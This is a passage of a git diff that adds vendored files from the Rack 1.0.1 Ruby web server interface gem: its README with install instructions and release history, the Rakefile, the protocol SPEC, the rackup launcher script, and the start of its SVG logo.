+* should correctly set cookies
+* should provide a .run
+
+335 specifications, 13 empty (1196 requirements), 0 failures
diff --git a/vendor/gems/rack-1.0.1/README b/vendor/gems/rack-1.0.1/README
new file mode 100644
index 00000000..c58009ff
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/README
@@ -0,0 +1,364 @@
+= Rack, a modular Ruby webserver interface
+
+Rack provides a minimal, modular and adaptable interface for developing
+web applications in Ruby.  By wrapping HTTP requests and responses in
+the simplest way possible, it unifies and distills the API for web
+servers, web frameworks, and software in between (the so-called
+middleware) into a single method call.
+
+The exact details of this are described in the Rack specification,
+which all Rack applications should conform to.
+
+== Specification changes in this release
+
+With Rack 1.0, the Rack specification (found in SPEC) changed in the
+following backward-incompatible ways.  This was done to properly
+support Ruby 1.9 and to deprecate some problematic techniques:
+
+* Rack::VERSION has been pushed to [1,0].
+* Header values must be Strings now, split on "\n".
+* rack.input must be rewindable and support reading into a buffer,
+  wrap with Rack::RewindableInput if it isn't.
+* Content-Length can be missing, in this case chunked transfer
+  encoding is used.
+* Bodies can now additionally respond to #to_path with a filename to
+  be served.
+* String bodies are deprecated and will not work with Ruby 1.9, use an
+  Array with a single String instead.
+* rack.session is now specified.
+
+== Supported web servers
+
+The included *handlers* connect all kinds of web servers to Rack:
+* Mongrel
+* EventedMongrel
+* SwiftipliedMongrel
+* WEBrick
+* FCGI
+* CGI
+* SCGI
+* LiteSpeed
+* Thin
+
+These web servers include Rack handlers in their distributions:
+* Ebb
+* Fuzed
+* Phusion Passenger (which is mod_rack for Apache and for nginx)
+* Unicorn
+
+Any valid Rack app will run the same on all these handlers, without
+changing anything.
+
+== Supported web frameworks
+
+The included *adapters* connect Rack with existing Ruby web frameworks:
+* Camping
+
+These frameworks include Rack adapters in their distributions:
+* Camping
+* Coset
+* Halcyon
+* Mack
+* Maveric
+* Merb
+* Racktools::SimpleApplication
+* Ramaze
+* Ruby on Rails
+* Rum
+* Sinatra
+* Sin
+* Vintage
+* Waves
+* Wee
+
+Current links to these projects can be found at
+http://wiki.ramaze.net/Home#other-frameworks
+
+== Available middleware
+
+Between the server and the framework, Rack can be customized to your
+applications needs using middleware, for example:
+* Rack::URLMap, to route to multiple applications inside the same process.
+* Rack::CommonLogger, for creating Apache-style logfiles.
+* Rack::ShowException, for catching unhandled exceptions and
+  presenting them in a nice and helpful way with clickable backtrace.
+* Rack::File, for serving static files.
+* ...many others!
+
+All these components use the same interface, which is described in
+detail in the Rack specification.  These optional components can be
+used in any way you wish.
+
+== Convenience
+
+If you want to develop outside of existing frameworks, implement your
+own ones, or develop middleware, Rack provides many helpers to create
+Rack applications quickly and without doing the same web stuff all
+over:
+* Rack::Request, which also provides query string parsing and
+  multipart handling.
+* Rack::Response, for convenient generation of HTTP replies and
+  cookie handling.
+* Rack::MockRequest and Rack::MockResponse for efficient and quick
+  testing of Rack application without real HTTP round-trips.
+
+== rack-contrib
+
+The plethora of useful middleware created the need for a project that
+collects fresh Rack middleware.  rack-contrib includes a variety of
+add-on components for Rack and it is easy to contribute new modules.
+
+* http://github.com/rack/rack-contrib
+
+== rackup
+
+rackup is a useful tool for running Rack applications, which uses the
+Rack::Builder DSL to configure middleware and build up applications
+easily.
+
+rackup automatically figures out the environment it is run in, and
+runs your application as FastCGI, CGI, or standalone with Mongrel or
+WEBrick---all from the same configuration.
+
+== Quick start
+
+Try the lobster!
+
+Either with the embedded WEBrick starter:
+
+    ruby -Ilib lib/rack/lobster.rb
+
+Or with rackup:
+
+    bin/rackup -Ilib example/lobster.ru 
+
+By default, the lobster is found at http://localhost:9292.
+
+== Installing with RubyGems
+
+A Gem of Rack is available.  You can install it with:
+
+    gem install rack
+
+I also provide a local mirror of the gems (and development snapshots)
+at my site:
+
+    gem install rack --source http://chneukirchen.org/releases/gems/
+
+== Running the tests
+
+Testing Rack requires the test/spec testing framework:
+
+    gem install test-spec
+
+There are two rake-based test tasks:
+
+    rake test       tests all the fast tests (no Handlers or Adapters)
+    rake fulltest   runs all the tests
+
+The fast testsuite has no dependencies outside of the core Ruby
+installation and test-spec.
+
+To run the test suite completely, you need:
+
+  * camping
+  * fcgi
+  * memcache-client
+  * mongrel
+  * ruby-openid
+  * thin
+
+The full set of tests test FCGI access with lighttpd (on port
+9203) so you will need lighttpd installed as well as the FCGI
+libraries and the fcgi gem:
+
+Download and install lighttpd:
+
+    http://www.lighttpd.net/download
+
+Installing the FCGI libraries:
+
+    curl -O http://www.fastcgi.com/dist/fcgi-2.4.0.tar.gz
+    tar xzvf fcgi-2.4.0.tar.gz
+    cd fcgi-2.4.0
+    ./configure --prefix=/usr/local
+    make
+    sudo make install
+    cd ..
+
+Installing the Ruby fcgi gem:
+
+    gem install fcgi
+
+Furthermore, to test Memcache sessions, you need memcached (will be
+run on port 11211) and memcache-client installed.
+
+== History
+
+* March 3rd, 2007: First public release 0.1.
+
+* May 16th, 2007: Second public release 0.2.
+  * HTTP Basic authentication.
+  * Cookie Sessions.
+  * Static file handler.
+  * Improved Rack::Request.
+  * Improved Rack::Response.
+  * Added Rack::ShowStatus, for better default error messages.
+  * Bug fixes in the Camping adapter.
+  * Removed Rails adapter, was too alpha.
+
+* February 26th, 2008: Third public release 0.3.
+  * LiteSpeed handler, by Adrian Madrid.
+  * SCGI handler, by Jeremy Evans.
+  * Pool sessions, by blink.
+  * OpenID authentication, by blink.
+  * :Port and :File options for opening FastCGI sockets, by blink.
+  * Last-Modified HTTP header for Rack::File, by blink.
+  * Rack::Builder#use now accepts blocks, by Corey Jewett.
+    (See example/protectedlobster.ru)
+  * HTTP status 201 can contain a Content-Type and a body now.
+  * Many bugfixes, especially related to Cookie handling.
+
+* August 21st, 2008: Fourth public release 0.4.
+  * New middleware, Rack::Deflater, by Christoffer Sawicki.
+  * OpenID authentication now needs ruby-openid 2.
+  * New Memcache sessions, by blink.
+  * Explicit EventedMongrel handler, by Joshua Peek <josh@joshpeek.com>
+  * Rack::Reloader is not loaded in rackup development mode.
+  * rackup can daemonize with -D.
+  * Many bugfixes, especially for pool sessions, URLMap, thread safety
+    and tempfile handling.
+  * Improved tests.
+  * Rack moved to Git.
+
+* January 6th, 2009: Fifth public release 0.9.
+  * Rack is now managed by the Rack Core Team.
+  * Rack::Lint is stricter and follows the HTTP RFCs more closely.
+  * Added ConditionalGet middleware.
+  * Added ContentLength middleware.
+  * Added Deflater middleware.
+  * Added Head middleware.
+  * Added MethodOverride middleware.
+  * Rack::Mime now provides popular MIME-types and their extension.
+  * Mongrel Header now streams.
+  * Added Thin handler.
+  * Official support for swiftiplied Mongrel.
+  * Secure cookies.
+  * Made HeaderHash case-preserving.
+  * Many bugfixes and small improvements.
+
+* January 9th, 2009: Sixth public release 0.9.1.
+  * Fix directory traversal exploits in Rack::File and Rack::Directory.
+
+* April 25th, 2009: Seventh public release 1.0.0.
+  * SPEC change: Rack::VERSION has been pushed to [1,0].
+  * SPEC change: header values must be Strings now, split on "\n".
+  * SPEC change: Content-Length can be missing, in this case chunked transfer
+    encoding is used.
+  * SPEC change: rack.input must be rewindable and support reading into
+    a buffer, wrap with Rack::RewindableInput if it isn't.
+  * SPEC change: rack.session is now specified.
+  * SPEC change: Bodies can now additionally respond to #to_path with
+    a filename to be served.
+  * NOTE: String bodies break in 1.9, use an Array consisting of a
+    single String instead.
+  * New middleware Rack::Lock.
+  * New middleware Rack::ContentType.
+  * Rack::Reloader has been rewritten.
+  * Major update to Rack::Auth::OpenID.
+  * Support for nested parameter parsing in Rack::Response.
+  * Support for redirects in Rack::Response.
+  * HttpOnly cookie support in Rack::Response.
+  * The Rakefile has been rewritten.
+  * Many bugfixes and small improvements.
+
+* October 18th, 2009: Eighth public release 1.0.1.
+  * Bump remainder of rack.versions.
+  * Support the pure Ruby FCGI implementation.
+  * Fix for form names containing "=": split first then unescape components
+  * Fixes the handling of the filename parameter with semicolons in names.
+  * Add anchor to nested params parsing regexp to prevent stack overflows
+  * Use more compatible gzip write api instead of "<<".
+  * Make sure that Reloader doesn't break when executed via ruby -e
+  * Make sure WEBrick respects the :Host option
+  * Many Ruby 1.9 fixes.
+
+== Contact
+
+Please mail bugs, suggestions and patches to
+<mailto:rack-devel@googlegroups.com>.
+
+Mailing list archives are available at
+<http://groups.google.com/group/rack-devel>.
+
+There is a bug tracker at <http://rack.lighthouseapp.com/>.
+
+Git repository (send Git patches to the mailing list):
+* http://github.com/rack/rack
+* http://git.vuxu.org/cgi-bin/gitweb.cgi?p=rack.git
+
+You are also welcome to join the #rack channel on irc.freenode.net.
+
+== Thanks
+
+The Rack Core Team, consisting of
+
+* Christian Neukirchen (chneukirchen)
+* James Tucker (raggi)
+* Josh Peek (josh)
+* Michael Fellinger (manveru)
+* Ryan Tomayko (rtomayko)
+* Scytrin dai Kinthra (scytrin)
+
+would like to thank:
+
+* Adrian Madrid, for the LiteSpeed handler.
+* Christoffer Sawicki, for the first Rails adapter and Rack::Deflater.
+* Tim Fletcher, for the HTTP authentication code.
+* Luc Heinrich for the Cookie sessions, the static file handler and bugfixes.
+* Armin Ronacher, for the logo and racktools.
+* Aredridel, Ben Alpert, Dan Kubb, Daniel Roethlisberger, Matt Todd,
+  Tom Robinson, Phil Hagelberg, and S. Brent Faulkner for bug fixing
+  and other improvements.
+* Brian Candler, for Rack::ContentType.
+* Graham Batty, for improved handler loading.
+* Stephen Bannasch, for bug reports and documentation.
+* Gary Wright, for proposing a better Rack::Response interface.
+* Jonathan Buch, for improvements regarding Rack::Response.
+* Armin Röhrl, for tracking down bugs in the Cookie generator.
+* Alexander Kellett for testing the Gem and reviewing the announcement.
+* Marcus Rückert, for help with configuring and debugging lighttpd.
+* The WSGI team for the well-done and documented work they've done and
+  Rack builds up on.
+* All bug reporters and patch contributers not mentioned above.
+
+== Copyright
+
+Copyright (C) 2007, 2008, 2009 Christian Neukirchen <http://purl.org/net/chneukirchen>
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to
+deal in the Software without restriction, including without limitation the
+rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
+sell copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
+THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 
+IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+== Links
+
+Rack:: <http://rack.rubyforge.org/>
+Rack's Rubyforge project:: <http://rubyforge.org/projects/rack>
+Official Rack repositories:: <http://github.com/rack>
+rack-devel mailing list:: <http://groups.google.com/group/rack-devel>
+
+Christian Neukirchen:: <http://chneukirchen.org/>
+
diff --git a/vendor/gems/rack-1.0.1/Rakefile b/vendor/gems/rack-1.0.1/Rakefile
new file mode 100644
index 00000000..c88f7aff
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/Rakefile
@@ -0,0 +1,164 @@
+# Rakefile for Rack.  -*-ruby-*-
+require 'rake/rdoctask'
+require 'rake/testtask'
+
+
+desc "Run all the tests"
+task :default => [:test]
+
+
+desc "Make an archive as .tar.gz"
+task :dist => [:chmod, :changelog, :rdoc, "SPEC", "rack.gemspec"] do
+  FileUtils.touch("RDOX")
+  sh "git archive --format=tar --prefix=#{release}/ HEAD^{tree} >#{release}.tar"
+  sh "pax -waf #{release}.tar -s ':^:#{release}/:' RDOX SPEC ChangeLog doc rack.gemspec"
+  sh "gzip -f -9 #{release}.tar"
+end
+
+desc "Make an official release"
+task :officialrelease do
+  puts "Official build for #{release}..."
+  sh "rm -rf stage"
+  sh "git clone --shared . stage"
+  sh "cd stage && rake officialrelease_really"
+  sh "mv stage/#{release}.tar.gz stage/#{release}.gem ."
+end
+
+task :officialrelease_really => [:fulltest, "RDOX", "SPEC", :dist, :gem] do
+  sh "sha1sum #{release}.tar.gz #{release}.gem"
+end
+
+
+def version
+  abort "You need to pass VERSION=... to build packages."  unless ENV["VERSION"]
+  ENV["VERSION"]
+end
+
+def release
+  "rack-#{version}"
+end
+
+def manifest
+  `git ls-files`.split("\n")
+end
+
+
+desc "Make binaries executable"
+task :chmod do
+  Dir["bin/*"].each { |binary| File.chmod(0775, binary) }
+  Dir["test/cgi/test*"].each { |binary| File.chmod(0775, binary) }
+end
+
+desc "Generate a ChangeLog"
+task :changelog do
+  File.open("ChangeLog", "w") { |out|
+    `git log -z`.split("\0").map { |chunk|
+      author = chunk[/Author: (.*)/, 1].strip
+      date = chunk[/Date: (.*)/, 1].strip
+      desc, detail = $'.strip.split("\n", 2)
+      detail ||= ""
+      detail = detail.gsub(/.*darcs-hash:.*/, '')
+      detail.rstrip!
+      out.puts "#{date}  #{author}"
+      out.puts "  * #{desc.strip}"
+      out.puts detail  unless detail.empty?
+      out.puts
+    }
+  }
+end
+
+
+desc "Generate RDox"
+task "RDOX" do
+  sh "specrb -Ilib:test -a --rdox >RDOX"
+end
+
+desc "Generate Rack Specification"
+task "SPEC" do
+  File.open("SPEC", "wb") { |file|
+    IO.foreach("lib/rack/lint.rb") { |line|
+      if line =~ /## (.*)/
+        file.puts $1
+      end
+    }
+  }
+end
+
+desc "Run all the fast tests"
+task :test do
+  sh "specrb -Ilib:test -w #{ENV['TEST'] || '-a'} #{ENV['TESTOPTS'] || '-t "^(?!Rack::Handler|Rack::Adapter|Rack::Session::Memcache|Rack::Auth::OpenID)"'}"
+end
+
+desc "Run all the tests"
+task :fulltest => [:chmod] do
+  sh "specrb -Ilib:test -w #{ENV['TEST'] || '-a'} #{ENV['TESTOPTS']}"
+end
+
+begin
+  require 'rubygems'
+rescue LoadError
+  # Too bad.
+else
+  task "rack.gemspec" do
+    spec = Gem::Specification.new do |s|
+      s.name            = "rack"
+      s.version         = version
+      s.platform        = Gem::Platform::RUBY
+      s.summary         = "a modular Ruby webserver interface"
+      
+      s.description = <<-EOF
+Rack provides minimal, modular and adaptable interface for developing
+web applications in Ruby.  By wrapping HTTP requests and responses in
+the simplest way possible, it unifies and distills the API for web
+servers, web frameworks, and software in between (the so-called
+middleware) into a single method call.
+
+Also see http://rack.rubyforge.org.
+    EOF
+
+      s.files           = manifest + %w(SPEC RDOX rack.gemspec)
+      s.bindir          = 'bin'
+      s.executables     << 'rackup'
+      s.require_path    = 'lib'
+      s.has_rdoc        = true
+      s.extra_rdoc_files = ['README', 'SPEC', 'RDOX', 'KNOWN-ISSUES']
+      s.test_files      = Dir['test/{test,spec}_*.rb']
+      
+      s.author          = 'Christian Neukirchen'
+      s.email           = 'chneukirchen@gmail.com'
+      s.homepage        = 'http://rack.rubyforge.org'
+      s.rubyforge_project = 'rack'
+      
+      s.add_development_dependency 'test-spec'
+      
+      s.add_development_dependency 'camping'
+      s.add_development_dependency 'fcgi'
+      s.add_development_dependency 'memcache-client'
+      s.add_development_dependency 'mongrel'
+      s.add_development_dependency 'ruby-openid', '~> 2.0.0'
+      s.add_development_dependency 'thin'
+    end
+
+    File.open("rack.gemspec", "w") { |f| f << spec.to_ruby }
+  end
+
+  task :gem => ["rack.gemspec", "SPEC"] do
+    FileUtils.touch("RDOX")
+    sh "gem build rack.gemspec"
+  end
+end
+
+desc "Generate RDoc documentation"
+task :rdoc do
+  sh(*%w{rdoc --line-numbers --main README 
+              --title 'Rack\ Documentation' --charset utf-8 -U -o doc} +
+              %w{README KNOWN-ISSUES SPEC RDOX} +
+              Dir["lib/**/*.rb"])
+end
+
+task :pushsite => [:rdoc] do
+  sh "cd site && git gc"
+  sh "rsync -avz doc/ chneukirchen@rack.rubyforge.org:/var/www/gforge-projects/rack/doc/"
+  sh "rsync -avz site/ chneukirchen@rack.rubyforge.org:/var/www/gforge-projects/rack/"
+  sh "cd site && git push"
+end
diff --git a/vendor/gems/rack-1.0.1/SPEC b/vendor/gems/rack-1.0.1/SPEC
new file mode 100644
index 00000000..e4d252ec
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/SPEC
@@ -0,0 +1,164 @@
+This specification aims to formalize the Rack protocol.  You
+can (and should) use Rack::Lint to enforce it.
+When you develop middleware, be sure to add a Lint before and
+after to catch all mistakes.
+= Rack applications
+A Rack application is an Ruby object (not a class) that
+responds to +call+.
+It takes exactly one argument, the *environment*
+and returns an Array of exactly three values:
+The *status*,
+the *headers*,
+and the *body*.
+== The Environment
+The environment must be an true instance of Hash (no
+subclassing allowed) that includes CGI-like headers.
+The application is free to modify the environment.
+The environment is required to include these variables
+(adopted from PEP333), except when they'd be empty, but see
+below.
+<tt>REQUEST_METHOD</tt>:: The HTTP request method, such as
+                          "GET" or "POST". This cannot ever
+                          be an empty string, and so is
+                          always required.
+<tt>SCRIPT_NAME</tt>:: The initial portion of the request
+                       URL's "path" that corresponds to the
+                       application object, so that the
+                       application knows its virtual
+                       "location". This may be an empty
+                       string, if the application corresponds
+                       to the "root" of the server.
+<tt>PATH_INFO</tt>:: The remainder of the request URL's
+                     "path", designating the virtual
+                     "location" of the request's target
+                     within the application. This may be an
+                     empty string, if the request URL targets
+                     the application root and does not have a
+                     trailing slash. This value may be
+                     percent-encoded when I originating from
+                     a URL.
+<tt>QUERY_STRING</tt>:: The portion of the request URL that
+                        follows the <tt>?</tt>, if any. May be
+                        empty, but is always required!
+<tt>SERVER_NAME</tt>, <tt>SERVER_PORT</tt>:: When combined with <tt>SCRIPT_NAME</tt> and <tt>PATH_INFO</tt>, these variables can be used to complete the URL. Note, however, that <tt>HTTP_HOST</tt>, if present, should be used in preference to <tt>SERVER_NAME</tt> for reconstructing the request URL.  <tt>SERVER_NAME</tt> and <tt>SERVER_PORT</tt> can never be empty strings, and so are always required.
+<tt>HTTP_</tt> Variables:: Variables corresponding to the
+                           client-supplied HTTP request
+                           headers (i.e., variables whose
+                           names begin with <tt>HTTP_</tt>). The
+                           presence or absence of these
+                           variables should correspond with
+                           the presence or absence of the
+                           appropriate HTTP header in the
+                           request.
+In addition to this, the Rack environment must include these
+Rack-specific variables:
+<tt>rack.version</tt>:: The Array [1,0], representing this version of Rack.
+<tt>rack.url_scheme</tt>:: +http+ or +https+, depending on the request URL.
+<tt>rack.input</tt>:: See below, the input stream.
+<tt>rack.errors</tt>:: See below, the error stream.
+<tt>rack.multithread</tt>:: true if the application object may be simultaneously invoked by another thread in the same process, false otherwise.
+<tt>rack.multiprocess</tt>:: true if an equivalent application object may be simultaneously invoked by another process, false otherwise.
+<tt>rack.run_once</tt>:: true if the server expects (but does not guarantee!) that the application will only be invoked this one time during the life of its containing process. Normally, this will only be true for a server based on CGI (or something similar).
+Additional environment specifications have approved to
+standardized middleware APIs.  None of these are required to
+be implemented by the server.
+<tt>rack.session</tt>:: A hash like interface for storing request session data.
+                        The store must implement:
+                        store(key, value)         (aliased as []=);
+                        fetch(key, default = nil) (aliased as []);
+                        delete(key);
+                        clear;
+The server or the application can store their own data in the
+environment, too.  The keys must contain at least one dot,
+and should be prefixed uniquely.  The prefix <tt>rack.</tt>
+is reserved for use with the Rack core distribution and other
+accepted specifications and must not be used otherwise.
+The environment must not contain the keys
+<tt>HTTP_CONTENT_TYPE</tt> or <tt>HTTP_CONTENT_LENGTH</tt>
+(use the versions without <tt>HTTP_</tt>).
+The CGI keys (named without a period) must have String values.
+There are the following restrictions:
+* <tt>rack.version</tt> must be an array of Integers.
+* <tt>rack.url_scheme</tt> must either be +http+ or +https+.
+* There must be a valid input stream in <tt>rack.input</tt>.
+* There must be a valid error stream in <tt>rack.errors</tt>.
+* The <tt>REQUEST_METHOD</tt> must be a valid token.
+* The <tt>SCRIPT_NAME</tt>, if non-empty, must start with <tt>/</tt>
+* The <tt>PATH_INFO</tt>, if non-empty, must start with <tt>/</tt>
+* The <tt>CONTENT_LENGTH</tt>, if given, must consist of digits only.
+* One of <tt>SCRIPT_NAME</tt> or <tt>PATH_INFO</tt> must be
+  set.  <tt>PATH_INFO</tt> should be <tt>/</tt> if
+  <tt>SCRIPT_NAME</tt> is empty.
+  <tt>SCRIPT_NAME</tt> never should be <tt>/</tt>, but instead be empty.
+=== The Input Stream
+The input stream is an IO-like object which contains the raw HTTP
+POST data.
+When applicable, its external encoding must be "ASCII-8BIT" and it
+must be opened in binary mode, for Ruby 1.9 compatibility.
+The input stream must respond to +gets+, +each+, +read+ and +rewind+.
+* +gets+ must be called without arguments and return a string,
+  or +nil+ on EOF.
+* +read+ behaves like IO#read. Its signature is <tt>read([length, [buffer]])</tt>.
+  If given, +length+ must be an non-negative Integer (>= 0) or +nil+, and +buffer+ must
+  be a String and may not be nil. If +length+ is given and not nil, then this method
+  reads at most +length+ bytes from the input stream. If +length+ is not given or nil,
+  then this method reads all data until EOF.
+  When EOF is reached, this method returns nil if +length+ is given and not nil, or ""
+  if +length+ is not given or is nil.
+  If +buffer+ is given, then the read data will be placed into +buffer+ instead of a
+  newly created String object.
+* +each+ must be called without arguments and only yield Strings.
+* +rewind+ must be called without arguments. It rewinds the input
+  stream back to the beginning. It must not raise Errno::ESPIPE:
+  that is, it may not be a pipe or a socket. Therefore, handler
+  developers must buffer the input data into some rewindable object
+  if the underlying input stream is not rewindable.
+* +close+ must never be called on the input stream.
+=== The Error Stream
+The error stream must respond to +puts+, +write+ and +flush+.
+* +puts+ must be called with a single argument that responds to +to_s+.
+* +write+ must be called with a single argument that is a String.
+* +flush+ must be called without arguments and must be called
+  in order to make the error appear for sure.
+* +close+ must never be called on the error stream.
+== The Response
+=== The Status
+This is an HTTP status. When parsed as integer (+to_i+), it must be
+greater than or equal to 100.
+=== The Headers
+The header must respond to +each+, and yield values of key and value.
+The header keys must be Strings.
+The header must not contain a +Status+ key,
+contain keys with <tt>:</tt> or newlines in their name,
+contain keys names that end in <tt>-</tt> or <tt>_</tt>,
+but only contain keys that consist of
+letters, digits, <tt>_</tt> or <tt>-</tt> and start with a letter.
+The values of the header must be Strings,
+consisting of lines (for multiple header values, e.g. multiple
+<tt>Set-Cookie</tt> values) seperated by "\n".
+The lines must not contain characters below 037.
+=== The Content-Type
+There must be a <tt>Content-Type</tt>, except when the
++Status+ is 1xx, 204 or 304, in which case there must be none
+given.
+=== The Content-Length
+There must not be a <tt>Content-Length</tt> header when the
++Status+ is 1xx, 204 or 304.
+=== The Body
+The Body must respond to +each+
+and must only yield String values.
+The Body itself should not be an instance of String, as this will
+break in Ruby 1.9.
+If the Body responds to +close+, it will be called after iteration.
+If the Body responds to +to_path+, it must return a String
+identifying the location of a file whose contents are identical
+to that produced by calling +each+; this may be used by the
+server as an alternative, possibly more efficient way to
+transport the response.
+The Body commonly is an Array of Strings, the application
+instance itself, or a File-like object.
+== Thanks
+Some parts of this specification are adopted from PEP333: Python
+Web Server Gateway Interface
+v1.0 (http://www.python.org/dev/peps/pep-0333/). I'd like to thank
+everyone involved in that effort.
diff --git a/vendor/gems/rack-1.0.1/bin/rackup b/vendor/gems/rack-1.0.1/bin/rackup
new file mode 100755
index 00000000..8e4df15e
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/bin/rackup
@@ -0,0 +1,176 @@
+#!/usr/bin/env ruby
+# -*- ruby -*-
+
+$LOAD_PATH.unshift File.expand_path("#{__FILE__}/../../lib")
+autoload :Rack, 'rack'
+
+require 'optparse'
+
+automatic = false
+server = nil
+env = "development"
+daemonize = false
+pid = nil
+options = {:Port => 9292, :Host => "0.0.0.0", :AccessLog => []}
+
+# Don't evaluate CGI ISINDEX parameters.
+# http://hoohoo.ncsa.uiuc.edu/cgi/cl.html
+ARGV.clear  if ENV.include?("REQUEST_METHOD")
+
+opts = OptionParser.new("", 24, '  ') { |opts|
+  opts.banner = "Usage: rackup [ruby options] [rack options] [rackup config]"
+
+  opts.separator ""
+  opts.separator "Ruby options:"
+
+  lineno = 1
+  opts.on("-e", "--eval LINE", "evaluate a LINE of code") { |line|
+    eval line, TOPLEVEL_BINDING, "-e", lineno
+    lineno += 1
+  }
+
+  opts.on("-d", "--debug", "set debugging flags (set $DEBUG to true)") {
+    $DEBUG = true
+  }
+  opts.on("-w", "--warn", "turn warnings on for your script") {
+    $-w = true
+  }
+
+  opts.on("-I", "--include PATH",
+          "specify $LOAD_PATH (may be used more than once)") { |path|
+    $LOAD_PATH.unshift(*path.split(":"))
+  }
+
+  opts.on("-r", "--require LIBRARY",
+          "require the library, before executing your script") { |library|
+    require library
+  }
+
+  opts.separator ""
+  opts.separator "Rack options:"
+  opts.on("-s", "--server SERVER", "serve using SERVER (webrick/mongrel)") { |s|
+    server = s
+  }
+
+  opts.on("-o", "--host HOST", "listen on HOST (default: 0.0.0.0)") { |host|
+    options[:Host] = host
+  }
+
+  opts.on("-p", "--port PORT", "use PORT (default: 9292)") { |port|
+    options[:Port] = port
+  }
+
+  opts.on("-E", "--env ENVIRONMENT", "use ENVIRONMENT for defaults (default: development)") { |e|
+    env = e
+  }
+
+  opts.on("-D", "--daemonize", "run daemonized in the background") { |d|
+    daemonize = d ? true : false
+  }
+
+  opts.on("-P", "--pid FILE", "file to store PID (default: rack.pid)") { |f|
+    pid = File.expand_path(f)
+  }
+
+  opts.separator ""
+  opts.separator "Common options:"
+
+  opts.on_tail("-h", "--help", "Show this message") do
+    puts opts
+    exit
+  end
+
+  opts.on_tail("--version", "Show version") do
+    puts "Rack #{Rack.version}"
+    exit
+  end
+
+  opts.parse! ARGV
+}
+
+require 'pp'  if $DEBUG
+
+config = ARGV[0] || "config.ru"
+if !File.exist? config
+  abort "configuration #{config} not found"
+end
+
+if config =~ /\.ru$/
+  cfgfile = File.read(config)
+  if cfgfile[/^#\\(.*)/]
+    opts.parse! $1.split(/\s+/)
+  end
+  inner_app = eval "Rack::Builder.new {( " + cfgfile + "\n )}.to_app",
+                   nil, config
+else
+  require config
+  inner_app = Object.const_get(File.basename(config, '.rb').capitalize)
+end
+
+unless server = Rack::Handler.get(server)
+  # Guess.
+  if ENV.include?("PHP_FCGI_CHILDREN")
+    server = Rack::Handler::FastCGI
+
+    # We already speak FastCGI
+    options.delete :File
+    options.delete :Port
+  elsif ENV.include?("REQUEST_METHOD")
+    server = Rack::Handler::CGI
+  else
+    begin
+      server = Rack::Handler::Mongrel
+    rescue LoadError => e
+      server = Rack::Handler::WEBrick
+    end
+  end
+end
+
+p server  if $DEBUG
+
+case env
+when "development"
+  app = Rack::Builder.new {
+    use Rack::CommonLogger, $stderr  unless server.name =~ /CGI/
+    use Rack::ShowExceptions
+    use Rack::Lint
+    run inner_app
+  }.to_app
+
+when "deployment"
+  app = Rack::Builder.new {
+    use Rack::CommonLogger, $stderr  unless server.name =~ /CGI/
+    run inner_app
+  }.to_app
+
+when "none"
+  app = inner_app
+
+end
+
+if $DEBUG
+  pp app
+  pp inner_app
+end
+
+if daemonize
+  if RUBY_VERSION < "1.9"
+    exit if fork
+    Process.setsid
+    exit if fork
+    Dir.chdir "/"
+    File.umask 0000
+    STDIN.reopen "/dev/null"
+    STDOUT.reopen "/dev/null", "a"
+    STDERR.reopen "/dev/null", "a"
+  else
+    Process.daemon
+  end
+
+  if pid
+    File.open(pid, 'w'){ |f| f.write("#{Process.pid}") }
+    at_exit { File.delete(pid) if File.exist?(pid) }
+  end
+end
+
+server.run app, options
diff --git a/vendor/gems/rack-1.0.1/contrib/rack_logo.svg b/vendor/gems/rack-1.0.1/contrib/rack_logo.svg
new file mode 100644
index 00000000..905dcd32
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/contrib/rack_logo.svg
@@ -0,0 +1,111 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!-- Created with Inkscape (http://www.inkscape.org/) 
+  by Armin Ronacher (mitsuhiko), MIT-licensed.
+-->
+<svg
+   xmlns:dc="http://purl.org/dc/elements/1.1/"
+   xmlns:cc="http://web.resource.org/cc/"
+   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+   xmlns:svg="http://www.w3.org/2000/svg"
+   xmlns="http://www.w3.org/2000/svg"
+   xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+   xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+   width="200"
+   height="100"
+   id="svg2"
+   sodipodi:version="0.32"
+   inkscape:version="0.44"
+   version="1.0"
+   inkscape:export-filename="/home/blackbird/Desktop/rack_logo_final.png"
+   inkscape:export-xdpi="360"
+   inkscape:export-ydpi="360"
+   sodipodi:docbase="/home/blackbird/Desktop"
+   sodipodi:docname="rack_logo.svg">
+  <defs
+     id="defs4" />
+  <sodipodi:namedview
+     id="base"
+     pagecolor="#ffffff"
+     bordercolor="#666666"
+     borderopacity="1.0"
+     gridtolerance="10000"
+     guidetolerance="10"
+     objecttolerance="10"
+     inkscape:pageopacity="0.0"
+     inkscape:pageshadow="2"
+     inkscape:zoom="3.959798"
+     inkscape:cx="148.56163"
+     inkscape:cy="67.007749"
+     inkscape:document-units="px"
+     inkscape:current-layer="layer1"
+     width="200px"
+     height="100px"
+     inkscape:window-width="1400"
+     inkscape:window-height="975"
+     inkscape:window-x="0"
+     inkscape:window-y="24" />
+  <metadata
+     id="metadata7">
+    <rdf:RDF>
+      <cc:Work
+         rdf:about="">
+        <dc:format>image/svg+xml</dc:format>
+        <dc:type
+           rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+      </cc:Work>
+    </rdf:RDF>
+  </metadata>
+  <g
+     inkscape:label="Layer 1"
+     inkscape:groupmode="layer"
+     id="layer1">
